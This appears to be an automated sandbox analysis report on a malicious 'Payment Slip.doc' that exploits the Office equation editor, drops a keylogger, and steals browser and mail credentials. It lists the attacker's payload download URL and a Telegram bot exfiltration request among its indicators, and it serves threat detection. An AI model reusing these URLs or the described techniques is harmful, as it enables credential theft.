Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Queries volume information: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Queries volume information: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe VolumeInformation Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected Snake Keylogger
Source: Yara match File source: 00000008.00000002.913786371.0000000002351000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected Telegram RAT
Source: Yara match File source: 8.2.vvndewepeter91026.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vvndewepeter91026.exe.3588d18.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vvndewepeter91026.exe.3722a30.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: vvndewepeter91026.exe PID: 3524, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: vvndewepeter91026.exe PID: 3616, type: MEMORYSTR
Yara detected VIP Keylogger
Source: Yara match File source: 8.2.vvndewepeter91026.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vvndewepeter91026.exe.3588d18.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vvndewepeter91026.exe.3722a30.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: vvndewepeter91026.exe PID: 3524, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: vvndewepeter91026.exe PID: 3616, type: MEMORYSTR
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\ Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 8.2.vvndewepeter91026.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vvndewepeter91026.exe.3588d18.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vvndewepeter91026.exe.3722a30.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: vvndewepeter91026.exe PID: 3524, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: vvndewepeter91026.exe PID: 3616, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Snake Keylogger
Source: Yara match File source: 00000008.00000002.913786371.0000000002351000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected Telegram RAT
Source: Yara match File source: 8.2.vvndewepeter91026.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vvndewepeter91026.exe.3588d18.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vvndewepeter91026.exe.3722a30.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: vvndewepeter91026.exe PID: 3524, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: vvndewepeter91026.exe PID: 3616, type: MEMORYSTR
Yara detected VIP Keylogger
Source: Yara match File source: 8.2.vvndewepeter91026.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vvndewepeter91026.exe.3588d18.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vvndewepeter91026.exe.3722a30.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: vvndewepeter91026.exe PID: 3524, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: vvndewepeter91026.exe PID: 3616, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1519173 Sample: Payment Slip.doc Startdate: 26/09/2024 Architecture: WINDOWS Score: 100 46 Initial sample is an obfuscated RTF file 2->46 48 Suricata IDS alerts for network traffic 2->48 50 Found malware configuration 2->50 52 25 other signatures 2->52 8 WINWORD.EXE 291 18 2->8         started        process3 process4 10 EQNEDT32.EXE 11 8->10         started        15 EQNEDT32.EXE 8->15         started        dnsIp5 36 66.63.187.123, 49161, 80 ASN-QUADRANET-GLOBALUS United States 10->36 26 C:\Users\user\...\vvndewepeter91026.exe, PE32 10->26 dropped 28 C:\Users\user\...\LLnsOpxxAnmWi[1].exe, PE32 10->28 dropped 64 Office equation editor establishes network connection 10->64 66 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 10->66 17 vvndewepeter91026.exe 3 10->17         started        file6 signatures7 process8 signatures9 38 Antivirus detection for dropped file 17->38 40 Machine Learning detection for dropped file 17->40 42 Adds a directory exclusion to Windows Defender 17->42 44 Injects a PE file into a foreign processes 17->44 20 vvndewepeter91026.exe 12 2 17->20         started        24 powershell.exe 4 17->24         started        process10 dnsIp11 30 reallyfreegeoip.org 20->30 32 api.telegram.org 20->32 34 9 other IPs or domains 20->34 54 Installs new ROOT certificates 20->54 56 Tries to steal Mail credentials (via file / registry access) 20->56 58 Tries to harvest and steal browser information (history, passwords, etc) 20->58 signatures12 60 Tries to detect the country of the analysis system (by using the IP) 30->60 62 Uses the Telegram API (likely for C&C communication) 32->62
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
132.226.8.169
 checkip.dyndns.com United States
16989 UTMEMUS false
149.154.167.220
 api.telegram.org United Kingdom
62041 TELEGRAMRU true
188.114.97.3
 unknown European Union
13335 CLOUDFLARENETUS false
66.63.187.123
 unknown United States
8100 ASN-QUADRANET-GLOBALUS true
193.122.6.168
 unknown United States
31898 ORACLE-BMC-31898US false
188.114.96.3
 reallyfreegeoip.org European Union
13335 CLOUDFLARENETUS true
193.122.130.0
 unknown United States
31898 ORACLE-BMC-31898US false
158.101.44.242
 unknown United States
31898 ORACLE-BMC-31898US false
132.226.247.73
 unknown United States
16989 UTMEMUS false

Contacted Domains

Name IP Active
reallyfreegeoip.org 188.114.96.3 true
api.telegram.org 149.154.167.220 true
checkip.dyndns.com 132.226.8.169 true
checkip.dyndns.org unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://checkip.dyndns.org/ false
  • URL Reputation: safe
 unknown
https://reallyfreegeoip.org/xml/8.46.123.33 false
  • Avira URL Cloud: safe
 unknown
http://66.63.187.123/txt/LLnsOpxxAnmWi.exe true
  • Avira URL Cloud: safe
 unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:927537%0D%0ADate%20and%20Time:%209/26/2024%20/%204:38:32%20PM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20927537%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D false
  • Avira URL Cloud: safe
 unknown